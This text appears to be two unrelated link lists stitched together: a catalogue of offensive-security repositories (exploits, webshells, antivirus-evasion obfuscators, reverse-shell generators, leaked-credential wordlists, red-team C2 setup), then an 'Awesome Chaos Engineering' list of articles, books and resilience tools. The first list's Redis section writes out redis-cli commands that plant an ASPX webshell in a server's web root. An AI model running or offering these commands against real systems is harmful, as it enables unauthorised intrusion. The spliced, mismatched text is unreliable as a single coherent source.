https://github.com/Security-Onion-Solutions/security-onion - ids
https://github.com/ptresearch/AttackDetection
https://github.com/MHaggis/hunt-detect-prevent
https://github.com/JPCERTCC/LogonTracer - Investigate malicious Windows logon by visualizing and analyzing Windows event log
https://github.com/lithnet/ad-password-protection - AD Passwort Blacklisting
https://github.com/R3MRUM/PSDecode - Powershell DE-Obfuscation
https://github.com/denisugarte/PowerDrive - A tool for de-obfuscating PowerShell scripts
https://github.com/matterpreter/DefenderCheck - Identifies the bytes that Microsoft Defender flags on.
https://github.com/rasta-mouse/ThreatCheck - Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.
https://github.com/hegusung/AVSignSeek - Tool written in python3 to determine where the AV signature is located in a binary/payload
https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
https://github.com/ION28/BLUESPAWN - An Active Defense and EDR software to empower Blue Teams
https://github.com/hasherezade/hollows_hunter - Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches).
https://github.com/hasherezade/pe-sieve - Scans a given process. Recognizes and dumps a variety of potentially malicious implants (replaced/injected PEs, shellcodes, hooks, in-memory patches).
https://github.com/0Kee-Team/WatchAD - AD Security Intrusion Detection System
https://github.com/nsacyber/Mitigating-Web-Shells
https://github.com/redcanaryco/atomic-red-team - Small and highly portable detection tests based on MITRE's ATT&CK.
# Wordlists / Wordlist generators
https://github.com/danielmiessler/SecLists
https://github.com/berzerk0/Probable-Wordlists
https://github.com/govolution/betterdefaultpasslist
https://github.com/insidetrust/statistically-likely-usernames
https://github.com/LandGrey/pydictor
https://github.com/sc0tfree/mentalist
https://github.com/skahwah/wordsmith
https://github.com/1N3/IntruderPayloads
https://github.com/fuzzdb-project/fuzzdb
https://github.com/Bo0oM/fuzz.txt
https://github.com/laconicwolf/Password-Scripts
https://github.com/FlameOfIgnis/Pwdb-Public - A collection of all the data i could extract from 1 billion leaked credentials from internet.
# AD Lab Environment
https://github.com/davidprowe/BadBlood
# Obfuscation
https://github.com/xoreaxeaxeax/movfuscator
https://github.com/danielbohannon/Invoke-DOSfuscation
https://github.com/unixpickle/gobfuscate - GO Obfuscator
https://github.com/NotPrab/.NET-Obfuscator - Lists of .NET Obfuscator (Free, Trial, Paid and Open Source )
https://github.com/javascript-obfuscator/javascript-obfuscator - Javascript Obfuscator
https://github.com/danielbohannon/Invoke-Obfuscation - Powershell Obfuscator
https://github.com/BinaryScary/NET-Obfuscate - .NET IL Obfuscator
https://github.com/scrt/avcleaner - C/C++ source obfuscator for antivirus bypass
https://github.com/meme/hellscape - GIMPLE obfuscator for C, C++, Go, ... all supported GCC targets and front-ends that use GIMPLE.
https://github.com/mgeeky/VisualBasicObfuscator - VBS Obfuscator
https://github.com/3xpl01tc0d3r/Obfuscator - Shellcode Obfuscator
https://github.com/EgeBalci/sgn - Shellcode Encoder
# Hash Crack / Decryption
https://hashcat.net/hashcat/
https://github.com/Ciphey/Ciphey - Ciphey is an automated decryption tool. Input encrypted text, get the decrypted text back.
https://github.com/Coalfire-Research/npk - A mostly-serverless distributed hash cracking platform
https://github.com/JoelGMSec/Cloudtopolis - Cracking hashes in the Cloud (for free!)
# Source Code / Binary Analysis
## Binary Analysis
https://github.com/avast/retdec
https://github.com/MobSF/Mobile-Security-Framework-MobSF
## Source Code Analysis
https://github.com/mre/awesome-static-analysis
https://github.com/eslint/eslint - Javascript
https://github.com/dpnishant/jsprime - Javascript
https://github.com/phpstan/phpstan - PHP
# MISC
https://github.com/byt3bl33d3r/OffensiveNim
https://github.com/pentestmonkey/gateway-finder
https://github.com/Cybellum/DoubleAgent
https://github.com/ytisf/theZoo
https://github.com/kbandla/APTnotes
https://github.com/WindowsLies/BlockWindows
https://github.com/secrary/InjectProc
https://github.com/AlsidOfficial/WSUSpendu
https://github.com/SigPloiter/SigPloit
https://github.com/virajkulkarni14/WebDeveloperSecurityChecklist
https://github.com/PowerShell/PowerShell
https://github.com/landhb/HideProcess
https://github.com/meliht/Mr.SIP
https://github.com/XiphosResearch/exploits
https://github.com/jas502n/CVE-2019-13272
https://github.com/fox-it/cve-2019-1040-scanner
https://github.com/worawit/MS17-010
https://github.com/DiabloHorn/yara4pentesters
https://github.com/D4Vinci/Cr3dOv3r
https://github.com/a2u/CVE-2018-7600 - Drupal Exploit
https://github.com/joxeankoret/CVE-2017-7494 - SAMBA Exploit
https://github.com/D4Vinci/One-Lin3r - Reverse Shell Oneliner / Payload Generation
https://github.com/0x00-0x00/ShellPop - Reverse/Bind Shell Generator
https://github.com/Acceis/crypto_identifier
https://github.com/sensepost/UserEnum - check if a user is valid in a domain
https://github.com/LOLBAS-Project/LOLBAS - Living of the Land Binaries
https://github.com/peewpw/Invoke-BSOD - Windows Denial of Service Exploit
https://github.com/mtivadar/windows10_ntfs_crash_dos - Windows Denial of Service Exploit
https://github.com/deepzec/Bad-Pdf PDF Steal NTLMv2 Hash Exploit - CVE-2018-4993
https://github.com/SecureAuthCorp/impacket - :boom: :fire: :boom:
https://github.com/blacknbunny/libSSH-Authentication-Bypass - LibSSH Authentication Bypass vuln.
https://github.com/OneLogicalMyth/zeroday-powershell - windows Privesc Exploit
https://github.com/smicallef/spiderfoot - OSINT
https://github.com/ShawnDEvans/smbmap
https://github.com/Coalfire-Research/java-deserialization-exploits - Deserialisation Exploits
https://github.com/RhinoSecurityLabs/GCPBucketBrute - S3 bucket tester
https://github.com/khast3x/h8mail
https://github.com/dirkjanm/adidnsdump - Zone transfer like for internal assessment
https://github.com/gquere/pwn_jenkins
https://github.com/JavelinNetworks/IR-Tools - Get-ShellContent.ps1 get the typed content for all open shells
https://github.com/taviso/ctftool - windows CTF Exploitation
https://github.com/jedisct1/dsvpn
https://github.com/GoSecure/dtd-finder
https://github.com/tyranid/DotNetToJScript
https://github.com/cfreal/exploits - Apache Privilege Escalation
https://github.com/adamdriscoll/snek - Execute python from powershell
https://github.com/g0tmi1k/exe2hex
https://github.com/beurtschipper/Depix - Recovers passwords from pixelized screenshots
https://github.com/slaeryan/AQUARMOURY - This is a tool suite consisting of miscellaneous offensive tooling aimed at red teamers/penetration testers to primarily aid in Defense Evasion TA0005
https://github.com/mmozeiko/aes-finder - Utility to find AES keys in running processes
https://github.com/Flangvik/SharpCollection - Nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.
# Big-IP Exploitation
https://github.com/jas502n/CVE-2020-5902
# Azure Cloud Tools
https://github.com/hausec/PowerZure
https://github.com/NetSPI/MicroBurst
https://github.com/dirkjanm/ROADtools - The Azure AD exploration framework.
https://github.com/dafthack/CloudPentestCheatsheets
# Anonymous / Tor Projects
https://github.com/realgam3/pymultitor
https://github.com/Und3rf10w/kali-anonsurf
https://github.com/GouveaHeitor/nipe
https://github.com/cryptolok/GhostInTheNet
https://github.com/DanMcInerney/elite-proxy-finder
# Exploit Search
https://github.com/vulnersCom/getsploit
https://github.com/1N3/Findsploit
# Industrial Control Systems
https://github.com/dark-lbp/isf
https://github.com/klsecservices/s7scan
https://github.com/w3h/isf
# Network access control bypass
https://github.com/scipag/nac_bypass
# Jenkins
https://github.com/cedowens/Jenkins_Hunter_CSharp
https://github.com/petercunha/jenkins-rce
https://github.com/gquere/pwn_jenkins
https://medium.com/@adamyordan/a-case-study-on-jenkins-rce-c2558654f2ce
# JMX Exploitation
https://github.com/mogwailabs/mjet
https://github.com/siberas/sjet
https://github.com/qtc-de/beanshooter - JMX enumeration and attacking tool.
# Citrix Netscaler Pwn
https://github.com/trustedsec/cve-2019-19781
# mikrotik pwn
https://github.com/vulnersCom/mikrot8over - Fast exploitation tool for Mikrotik RouterOS up to 6.38.4
# Red Team infrastructure setup
https://github.com/obscuritylabs/RAI
https://github.com/Coalfire-Research/Red-Baron - terraform cloud c2 redirector setup
https://github.com/qsecure-labs/overlord - Red Teaming Infrastructure Automation based on Red-Baron
https://github.com/rmikehodges/hideNsneak - This application assists in managing attack infrastructure for penetration testers by providing an interface to rapidly deploy, manage, and take down various cloud services. These include VMs, domain fronting, Cobalt Strike servers, API gateways, and firewalls.
https://github.com/shr3ddersec/Shr3dKit
https://github.com/t94j0/satellite
# Bypass SPF/DKIM/DMARC
https://github.com/chenjj/espoofer
# Redis Exploitation
https://github.com/n0b0dyCN/redis-rogue-server
https://github.com/Ridter/redis-rce
MSF:
* scanner/redis/file_upload
* exploit/linux/redis/redis_replication_cmd_exec
Windows Targets - Webshell upload
```
redis-cli -h targethost -p targetport
config set dir C:\inetpub\wwwroot\
config set dbfilename shell.aspx
set test "Webshell content"
save
```
# Apache Tomcat Exploitation
https://github.com/mgeeky/tomcatWarDeployer - Apache Tomcat auto WAR deployment & pwning penetration testing tool.
https://github.com/00theway/Ghostcat-CNVD-2020-10487 - AJP Exploit CVE-2020-1938
https://github.com/Ridter/redis-rce
# SSRF Exploitation
https://github.com/swisskyrepo/SSRFmap
# LFI exploitation
https://github.com/mzfr/liffy
# MondoDB Redis Couchdb Exploitation
https://github.com/torque59/Nosql-Exploitation-Framework
https://github.com/Charlie-belmer/nosqli - NoSql Injection CLI tool, for finding vulnerable websites using MongoDB.
# XXE
https://github.com/luisfontes19/xxexploiter
# Elasticsearch / Kibana Exploitation
https://github.com/0xbug/Biu-framework
# RMI attacks
https://github.com/NickstaDB/BaRMIe
https://github.com/BishopFox/rmiscout - RMIScout uses wordlist and bruteforce strategies to enumerate Java RMI functions and exploit RMI parameter unmarshalling vulnerabilities
# JSON Web Token Analysis / Exploitation
https://github.com/ticarpi/jwt_tool
# Docker Exploitation
https://github.com/AbsoZed/DockerPwn.py - automation of Docker TCP socket abuse
https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/CVE%20Exploits/Docker%20API%20RCE.py - Docker API exposed RCE
# PHP exploits
https://github.com/neex/phuip-fpizdam - nginx + php misconfiguration
# Cloud attack tools
https://github.com/mdsecactivebreach/o365-attack-toolkit
# Bluetooth / low energy
https://github.com/ojasookert/CVE-2017-0785
https://github.com/evilsocket/bleah
https://github.com/virtualabs/btlejack
# Wireless / Radio Exploitation
https://github.com/mame82/LOGITacker
# APT / Malware Emulation / Defense Check
https://github.com/TryCatchHCF/DumpsterFire
https://github.com/NextronSystems/APTSimulator
https://github.com/redhuntlabs/RedHunt-OS
https://github.com/guardicore/monkey
# Hash Crack / Lookup
https://github.com/k4m4/dcipher-cli
https://github.com/s0md3v/Hash-Buster
https://github.com/initstring/passphrase-wordlist
# OSCP Lists / tools / help
https://github.com/sailay1996/expl-bin
https://github.com/CyDefUnicorn/OSCP-Archives
# ASPX Webshells
https://github.com/antonioCoco/SharPyShell
# PHP Webshells
https://github.com/flozz/p0wny-shell
https://github.com/nil0x42/phpsploit - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner
https://github.com/gellin/bantam - A PHP backdoor management and generation tool/C2 featuring end to end encrypted payload streaming designed to bypass WAF, IDS, SIEM systems.
# JSP WebShells
https://github.com/SecurityRiskAdvisors/cmd.jsp
# Other Tool-Lists / Cheat Sheets
https://github.com/D3VI5H4/Antivirus-Artifacts - List of Hooking DLLs for different AV vendors
https://github.com/PwnDexter/SharpEDRChecker - Checks running processes, process metadata, Dlls loaded into your current process and the each DLLs metadata, common install directories, installed services and each service binaries metadata, installed drivers and each drivers metadata, all for the presence of known defensive products such as AV's, EDR's and logging tools.
https://github.com/Hack-with-Github/Awesome-Hacking
https://github.com/enaqx/awesome-pentest
https://github.com/HarmJ0y/CheatSheets
https://github.com/zhzyker/exphub
https://github.com/vysecurity/RedTips
https://github.com/toolswatch/blackhat-arsenal-tools
https://github.com/jivoi/awesome-osint
https://github.com/qazbnm456/awesome-cve-poc
https://github.com/swisskyrepo/PayloadsAllTheThings
https://github.com/dsasmblr/hacking-online-games
https://github.com/carpedm20/awesome-hacking
https://github.com/rshipp/awesome-malware-analysis
https://github.com/thibmaek/awesome-raspberry-pi
https://github.com/bigb0sss/RedTeam-OffensiveSecurity
https://github.com/vitalysim/Awesome-Hacking-Resources
https://github.com/mre/awesome-static-analysis
https://github.com/coreb1t/awesome-pentest-cheat-sheets
https://github.com/infosecn1nja/Red-Teaming-Toolkit
https://github.com/rmusser01/Infosec_Reference
https://github.com/trimstray/the-book-of-secret-knowledge
https://github.com/N7WEra/SharpAllTheThings
https://github.com/3gstudent/Pentest-and-Development-Tips
https://github.com/qazbnm456/awesome-web-security
https://github.com/chryzsh/awesome-windows-security
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
https://github.com/We5ter/Scanners-Box
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
https://github.com/smgorelik/Windows-RCE-exploits
https://github.com/trustedsec/physical-docs
https://github.com/matterpreter/OffensiveCSharp
https://github.com/mgeeky/Penetration-Testing-Tools
https://github.com/nomi-sec/PoC-in-GitHub
https://github.com/mantvydasb/RedTeam-Tactics-and-Techniques
https://github.com/netbiosX/Checklists
https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts
https://github.com/adon90/pentest_compilation
https://github.com/sailay1996/awesome_windows_logical_bugs
https://github.com/EnableSecurity/awesome-rtc-hacking
https://github.com/api0cradle/UltimateAppLockerByPassList
https://github.com/hahwul/WebHackersWeapons
https://github.com/d0nkeys/redteam
https://github.com/d1pakda5/PowerShell-for-Pentesters
https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts
https://github.com/google/tsunami-security-scanner
|
# Awesome Chaos Engineering [](https://github.com/sindresorhus/awesome)
A curated list of awesome [Chaos Engineering](http://principlesofchaos.org/) resources.
#### What is Chaos Engineering?
> Chaos Engineering is the discipline of experimenting on a distributed system in order to build confidence in the system’s capability to withstand turbulent conditions in production. - [Principles Of Chaos Engineering](http://principlesofchaos.org/) website.
## Contents
- [Culture](#culture)
- [Books](#books)
- [Education](#education)
- [Notable Tools](#notable-tools)
- [Papers](#papers)
- [Gamedays](#gamedays)
- [Blogs & Newsletters](#blogs--newsletters)
- [Conferences & Meetups](#conferences--meetups)
- [Forums](#forums)
- [Twitter](#twitter)
## Culture
* [Principles Of Chaos Engineering](http://principlesofchaos.org/)
* [Chaos Community](http://chaos.community/)
* [Chaos Engineering](https://www.infoq.com/articles/chaos-engineering)
* [O'Reilly Velocity San Jose 2017: Precision Chaos](https://www.youtube.com/watch?v=C11LNUEaHuo)
* [The Discipline of Chaos Engineering](https://www.gremlin.com/blog/the-discipline-of-chaos-engineering/)
* [Chaos Monkey for Fun and Profit](https://sharpend.io/chaos-monkey-for-fun-and-profit/)
* [Fault Injection in Production: Making the case for resilience testing](https://queue.acm.org/detail.cfm?id=2353017)
* [Lord of Chaos - Becoming a Chaos Engineer](https://vimeo.com/groups/jz2016/videos/181925286)
* [Chaos testing - Preventing failure by instigation](http://www.cakesolutions.net/teamblogs/chaos-testing-preventing-failure-by-instiga)
* [Orchestrated Chaos](https://docs.google.com/presentation/d/1zzHS3qoPGzwsSna5-uk3Xt7LW_3Fr6ag8JDkeyrKwL4/edit#slide=id.p)
* Choose your own adventure: Chaos Engineering - [Video](https://www.infoq.com/presentations/adopt-chaos-engineering) & [Slides](https://www.slideshare.net/NoraJones1/choose-your-own-adventure-qcon-2017-1)
* [AMA Chaos Engineering + DiRT](http://pages.catchpoint.com/AMA-Chaos-DiRT.html)
* [SRECON17: Principles of Chaos Engineering](https://www.usenix.org/conference/srecon17americas/program/presentation/rosenthal)
* [Chaos & Intuition Engineering at Netflix](https://www.youtube.com/watch?v=Q4nniyAarbs)
* [Mastering Chaos - A Netflix Guide to Microservices](https://www.youtube.com/watch?v=CZ3wIuvmHeM)
* [Too big to test: Breaking a production brokerage platform without causing financial devastation](https://conferences.oreilly.com/velocity/devops-web-performance-ny-2015/public/schedule/detail/45012)
* [Inside Azure Search: Chaos Engineering](https://azure.microsoft.com/en-us/blog/inside-azure-search-chaos-engineering/)
* [Netflix, the Simian Army, and the culture of freedom and responsibility](https://devops.com/netflix-the-simian-army-and-the-culture-of-freedom-and-responsibility/)
* [FIT: Failure Injection Testing](https://medium.com/netflix-techblog/fit-failure-injection-testing-35d8e2a9bb2)
* [The Netflix Simian Army](https://medium.com/netflix-techblog/the-netflix-simian-army-16e57fbab116)
* [Automated Failure Testing](https://medium.com/netflix-techblog/automated-failure-testing-86c1b8bc841f)
* [The Verification of a Distributed System by Caitie McCaffrey](http://queue.acm.org/detail.cfm?ref=rss&id=2889274)
* [The Journey to Chaos Engineering begins with a single step - Bruce Wong and James Burns (Twilio)](https://www.youtube.com/watch?v=rKAo2wANiHM)
* [Chaos Engineering by Lorin Hochstein](https://www.youtube.com/watch?v=vq4QZ4_YDok)
* [Aaron Rinehart - ChaoSlingr: Introducing Security based Chaos Testing](https://www.youtube.com/watch?v=BLRb-E0G5zk)
* [Chaos Engineering - Casey Rosenthal](https://www.youtube.com/watch?v=6OIOpx_dVFY)
* The Road to Chaos - Velocity 2017- [video](https://www.youtube.com/watch?v=FCZVAZaXIjs) & [slides](https://github.com/norajones/Presentations/blob/master/The%20Road%20To%20Chaos%20-%20Velocity%202017.pdf)
* [How Netflix DDoS’d Itself To Help Protect the Entire Internet](https://www.wired.com/story/netflix-ddos-attack)
* [10 Years of Crashing Google](https://www.usenix.org/conference/lisa15/conference-program/presentation/krishnan)
* [Weathering the Unexpected](http://queue.acm.org/detail.cfm?id=2371516)
* [SRECON17: Breaking Things on Purpose](https://youtu.be/h_-shm0SL08)
* [PuppetConf 2016: Chaos Patterns - Architecting for Failure in Distributed Systems](https://youtu.be/V3P35N_HXNQ)
* [Ship More, Sink Less - Changing Chaos Engineering and Distributed Tracing](https://youtu.be/nr2KWbyWAmA)
* [Cloudcast - Discipline of Chaos Engineering](http://www.thecloudcast.net/2017/05/the-cloudcast-299-discipline-of-chaos.html)
* [Software Engineering Daily - Failure Injection with Kolton Andrus podcast](https://softwareengineeringdaily.com/2017/03/29/failure-injection-with-kolton-andrus/)
* [Responding to Failures in Playback Features with Haley Tucker podcast](https://www.infoq.com/podcasts/netflix-haley-tucker?utm_campaign=infoq_content&utm_source=twitter&utm_medium=feed&utm_term=architecture-design)
* ["Antics, drift, and chaos" by Lorin Hochstein](https://youtu.be/SM2uXpmyJmA)
* [re:invent 2017: Nora Jones Describes Why We Need More Chaos - Chaos Engineering, That Is](https://youtu.be/rgfww8tLM0A)
* [Failure Friday: Four Years On](https://www.pagerduty.com/blog/failure-fridays-four-years/)
* [Monkeys & Lemurs and Locusts, Oh my!](https://www.slideshare.net/zgrinch/monkeys-lemurs-and-locusts-oh-my)
* [Practical Chaos Engineering](https://youtu.be/Yn4tYxqzFVU)
* [Chaos Day in the Met Office Cloud](https://www.cloudreach.com/fr/blog/training-cloud-operations-teams-met-office/)
* [Cloud Native and Chaos Engineering](https://medium.com/chaosiq/cloud-native-and-chaos-engineering-20842ee2fa8a)
* [Chaos Engineering with Kolton Andrus](https://softwareengineeringdaily.com/2018/02/02/chaos-engineering-with-kolton-andrus/)
* [Chaos Engineering: the history, principles, and practice](https://www.gremlin.com/community/tutorials/chaos-engineering-the-history-principles-and-practice/)
* [Embracing the Chaos of Chaos Engineering](https://blog.codeship.com/embracing-the-chaos-of-chaos-engineering/)
* [Designing Services for Resilience: Netflix Lessons](https://www.infoq.com/presentations/netflix-microservices-resiliency)
* [Chaos Engineering: A cheat sheet](https://www.techrepublic.com/article/chaos-engineering-a-cheat-sheet/)
* [How to convince your boss and make them say “Yes!” to Chaos Engineering?](https://medium.com/@crochefolle/how-to-convince-your-boss-to-make-them-say-yes-to-chaos-engineering-796ba119bd7)
* [Why the World Needs More Resilient Systems](https://www.infoq.com/news/2018/03/resilient-systems-chaos-engineer)
* [Chaos Architecture](https://www.infoq.com/presentations/chaos-architecture-mindset)
* [Gremlin’s Tammy Bütow on the Business Side of Chaos Engineering](https://thenewstack.io/gremlins-tammy-butow-on-the-business-side-of-chaos-engineering/)
* [Kubernetes Chaos Engineering: Lessons Learned](https://learnk8s.io/blog/kubernetes-chaos-engineering-lessons-learned)
* [Chaos Engineering: managing complexity by breaking things](https://hub.packtpub.com/chaos-engineering-managing-complexity-by-breaking-things/)
* [Podcast:Database Chaos with Tammy Butow](https://softwareengineeringdaily.com/2018/04/10/database-chaos-with-tammy-butow/)
* [LinkedOut: A Request-Level Failure Injection Framework](https://engineering.linkedin.com/blog/2018/05/linkedout--a-request-level-failure-injection-framework)
* [GOTO 2018 - Breaking Things on Purpose - Kolton Andrus](https://youtu.be/S89ox7oQn8s)
* [Why should Chaos be part of your Distributed Systems Engineering?](https://medium.com/@bbideep/why-should-chaos-be-part-of-your-distributed-systems-engineering-5bcb21497660)
* [Brian Holt - Chaos Monkeys in Your Browser What Chaos Engineering Means For the Front End](https://www.youtube.com/watch?v=A4_rRj-4Mv0)
* [Chaos Engineering: Why the World Needs More Resilient Systems](https://www.youtube.com/watch?time_continue=242&v=Khqf0XltR_M)
* QCon·Beijing 2017: The Practice of Failure Management and Fault Injection at Alibaba E-Commerce Platforms - [video](http://www.infoq.com/cn/presentations/ali-electricity-supplier-fault-management-and-fault-drills-practice) & [speech draft](http://jm.taobao.org/2017/06/22/20170622/) (Chinese speech)
* [Orchestrating Chaos using Grab's Experimentation Platform](https://engineering.grab.com/chaos-engineering)
* [Breaking to Learn: Chaos Engineering Explained](https://blog.newrelic.com/engineering/chaos-engineering-explained/)
* [Chaos Engineering Traps](https://medium.com/@njones_18523/chaos-engineering-traps-e3486c526059)
* [Chaos Engineering - The Art of Breaking Things Purposefully](https://medium.com/@adhorn/chaos-engineering-ab0cc9fbd12a)
* [Disasterpiece Theater: Slack’s process for approachable Chaos Engineering](https://slack.engineering/disasterpiece-theater-slacks-process-for-approachable-chaos-engineering-3434422afb54)
* [Taming chaos: Preparing for your next incident](https://www.oreilly.com/ideas/taming-chaos-preparing-for-your-next-incident)
* [The Future of Chaos Engineering w/ Conde Nast](https://www.youtube.com/watch?v=RqM2sMt11Bw)
* [Chaos Engineering For People Systems w/ Dave Rensin of Google](https://www.youtube.com/watch?v=sn6wokyCZSA)
* [Performing chaos engineering in a serverless world (AWS re:Invent 2019 CMY301)](https://www.youtube.com/watch?v=vbyjpMeYitA)
* [Building Confidence in Healthcare Systems through Chaos Engineering](https://www.infoq.com/presentations/cerner-resiliency)
* [Break Your App before Someone Else Does](https://www.infoq.com/presentations/test-android-apk/)
* [Preparing for Traffic Spikes with Chaos Engineering](https://www.bigmarker.com/gremlin/Preparing-for-Traffic-Spikes-with-Chaos-Engineering)
* [Automating Chaos Engineering GameDays with Terraform](https://www.youtube.com/watch?v=NOOgKNbW0gk)
* [Postmortem Culture: Learning from failure](https://www.youtube.com/watch?v=JtLrlDNdJzg&feature=youtu.be)
* [Problem Detection by John Allspaw](https://www.youtube.com/watch?v=NxctiGRI2y8)
* [New Paradigms for the Next Era of Security](https://www.rsaconference.com/industry-topics/webcast/35-new-paradigms-for-the-next-era-of-security)
* [Cloud-Native Chaos Engineering](https://dev.to/umamukkara/chaos-engineering-for-cloud-native-systems-2fjn)
* [Building resilient services at Prime Video with chaos engineering](https://aws.amazon.com/blogs/opensource/building-resilient-services-at-prime-video-with-chaos-engineering/)
* [Making Chaos Part of Kubernetes/OpenShift Performance and Scalability Tests](https://www.openshift.com/blog/making-chaos-part-of-kubernetes/openshift-performance-and-scalability-tests)
* [Lucky Lotto, chaos engineering but for teams](https://danlebrero.com/2021/06/30/cto-dairy-lucky-lotto-chaos-engineering-for-teams/)
* [Using Fault Injection Testing to Improve DoorDash Reliability](https://doordash.engineering/2022/04/25/using-fault-injection-testing-to-improve-doordash-reliability/)
* [Chaos Engineering At Ant Group](https://medium.com/@monkeysuzie/chaos-engineering-at-ant-group-30c15cb6ab69)
## Books
* [Chaos Engineering: Building Confidence in System Behavior through Experiment](http://www.oreilly.com/webops-perf/free/chaos-engineering.csp)
* [Site Reliability Engineering: How Google Runs Production Systems](https://landing.google.com/sre/book.html) -
* [The Practice Of Cloud System Administration: Designing and Operating Large Distributed Systems](http://the-cloud-book.com/)
* [Antifragile Systems and Teams](http://www.oreilly.com/webops-perf/free/antifragile-systems-and-teams.csp)
* [The InfoQ eMag: Chaos Engineering](https://www.infoq.com/minibooks/emag-chaos-engineering)
* [Learning Chaos Engineering](http://shop.oreilly.com/product/0636920251897.do)
* [Chaos Engineering: System Resilience in Practice](https://www.oreilly.com/library/view/chaos-engineering/9781492043850/)
* [Chaos Engineering: Crash test your applications](https://www.manning.com/books/chaos-engineering)
* [Security Chaos Engineering: Gaining Confidence in Resilience and Safety at Speed and Scale](https://www.oreilly.com/library/view/security-chaos-engineering/9781492080350/)
* [Chaos Engineering Observability](https://www.humio.com/resources/reports/chaos-observability/)
## Education
* A Chaos Engineering Bootcamp for O'Reilly Velocity 2017 - [Slides](https://speakerdeck.com/tammybutow/chaos-engineering-bootcamp) & [Source code](https://github.com/tammybutow/chaos_engineering_bootcamp)
* [Your First Chaos Experiment](https://www.gremlin.com/community/tutorials/your-first-chaos-experiment)
* [Chaos Engineering 101](https://sharpend.io/chaos-engineering-101/)
* [A Primer on Automating Chaos](https://www.gremlin.com/community/tutorials/a-primer-on-automating-chaos)
* [Intro to Chaos Engineering](https://www.youtube.com/watch?v=qHykK5pFRW4)
* [Learn the basics of the Chaos Toolkit](https://www.katacoda.com/chaostoolkit/courses/01-chaostoolkit-getting-started)
* [Build System Confidence with Chaos Engineering](https://medium.com/chaosiq/improve-your-cloud-native-devops-flow-with-chaos-engineering-dc32836c2d9a)
* [How we break things at Twitter: failure testing](https://blog.twitter.com/engineering/en_us/a/2015/how-we-break-things-at-twitter-failure-testing.html)
* [Run Chaos Experiments Without Risking Your Job](https://blog.loadmill.com/run-chaos-experiments-without-risking-your-job-2c8a5f4b0bfc)
* [A Guide to Your First Chaos Day](https://victorops.com/blog/a-guide-to-your-first-chaos-day)
* [Planning Your Own Chaos Day](https://www.gremlin.com/community/tutorials/planning-your-own-chaos-day/)
* [How To Install Distributed Tensorflow on GCP and Perform Chaos Engineering Experiments](https://www.gremlin.com/community/tutorials/how-to-install-distributed-tensorflow-on-gcp-and-perform-chaos-engineering-experiments/)
* [Monitoring Your Chaos Experiments](https://www.brighttalk.com/webcast/15087/316835)
* [Increasing the Resilience of APIs with Chaos Engineering](https://www.infoq.com/news/2018/05/gremlin-api-chaos)
* [3 key steps for running chaos engineering experiments](https://www.infoworld.com/article/3268017/devops/3-key-steps-for-running-chaos-engineering-experiments.html)
* [Exploring Multi-level Weaknesses using Automated Chaos Experiments](https://medium.com/chaosiq/exploring-multi-level-weaknesses-using-automated-chaos-experiments-aa30f0605ce)
* [Chaos Monkey Guide for Engineers](https://www.gremlin.com/chaos-monkey/)
* [Chaos Engineering for Serverless](https://www.youtube.com/playlist?list=PL70SCo-0vujiQkPAOGuZP-kNZZkzcPVKD)
* [Network Fire Drills with Chaos Engineering](https://speakerdeck.com/homingli/network-automation-meetup-network-fire-drills-with-chaos-engineering)
* [Dev Ops Foundations: Chaos Engineering](https://www.linkedin.com/learning/devops-foundations-chaos-engineering/)
* [Resilience Engineering: Short Course](http://csel.org.ohio-state.edu/ResilienceEngineering.html)
* [The Chaos Engineering Collection](https://medium.com/@adhorn/the-chaos-engineering-collection-5e188d6a90e2)
* [PenTester Academic](https://www.pentesteracademy.com/onlinelabs)
* [Consul and Chaos Engineering](https://learn.hashicorp.com/tutorials/consul/introduction-chaos-engineering?in=consul/resiliency)
## Notable Tools
* [Chaos Monkey](https://github.com/Netflix/chaosmonkey) - A resiliency tool that helps applications tolerate random instance failures.
* [orchestrator](https://github.com/github/orchestrator) - MySQL replication topology management and HA.
* [kube-monkey](https://github.com/asobti/kube-monkey) - An implementation of Netflix's Chaos Monkey for Kubernetes clusters.
* [Gremlin Inc.](https://www.gremlin.com/) - Failure as a Service.
* [Chaos Toolkit](https://github.com/chaostoolkit/chaostoolkit) - A chaos engineering toolkit to help you build confidence in your software system.
* [steadybit](https://www.steadybit.com/) - A Chaos Engineering platform (SaaS or On-Prem) with auto discovery features, different attack types, user management and many more.
* [PowerfulSeal](https://github.com/bloomberg/powerfulseal) - Adds chaos to your Kubernetes clusters, so that you can detect problems in your systems as early as possible. It kills targeted pods and takes VMs up and down.
* [drax](https://github.com/dcos-labs/drax) - DC/OS Resilience Automated Xenodiagnosis tool. It helps to test DC/OS deployments by applying a Chaos Monkey-inspired, proactive and invasive testing approach.
* [Wiremock](http://wiremock.org/) - API mocking (Service Virtualization) which enables modeling real world faults and delays
* [MockLab](http://get.mocklab.io/) - API mocking (Service Virtualization) as a service which enables modeling real world faults and delays.
* [Pod-Reaper](https://github.com/target/pod-reaper) - A rules based pod killing container. Pod-Reaper was designed to kill pods that meet specific conditions that can be used for Chaos testing in Kubernetes.
* [Muxy](https://github.com/mefellows/muxy/) - A chaos testing tool for simulating a real-world distributed system failures.
* [Toxiproxy](https://github.com/Shopify/toxiproxy) - A TCP proxy to simulate network and system conditions for chaos and resiliency testing.
* Chaos engineering for Docker:
* [Pumba](https://github.com/gaia-adm/pumba) - Chaos testing and network emulation for Docker containers (and clusters).
* [Blockade](https://github.com/worstcase/blockade) - Docker-based utility for testing network failures and partitions in distributed applications.
* [chaos-lambda](https://github.com/bbc/chaos-lambda) - Randomly terminate ASG instances during business hours.
* [Namazu](https://github.com/osrg/namazu) - Programmable fuzzy scheduler for testing distributed systems.
* [Chaos Monkey for Spring Boot](https://codecentric.github.io/chaos-monkey-spring-boot/) - Injects latencies, exceptions, and terminations into Spring Boot applications
* [Byte-Monkey](https://github.com/mrwilson/byte-monkey) - Bytecode-level fault injection for the JVM. It works by instrumenting application code on the fly to deliberately introduce faults like exceptions and latency.
* [GomJabbar](https://github.com/outbrain/GomJabbar) - ChaosMonkey for your private cloud
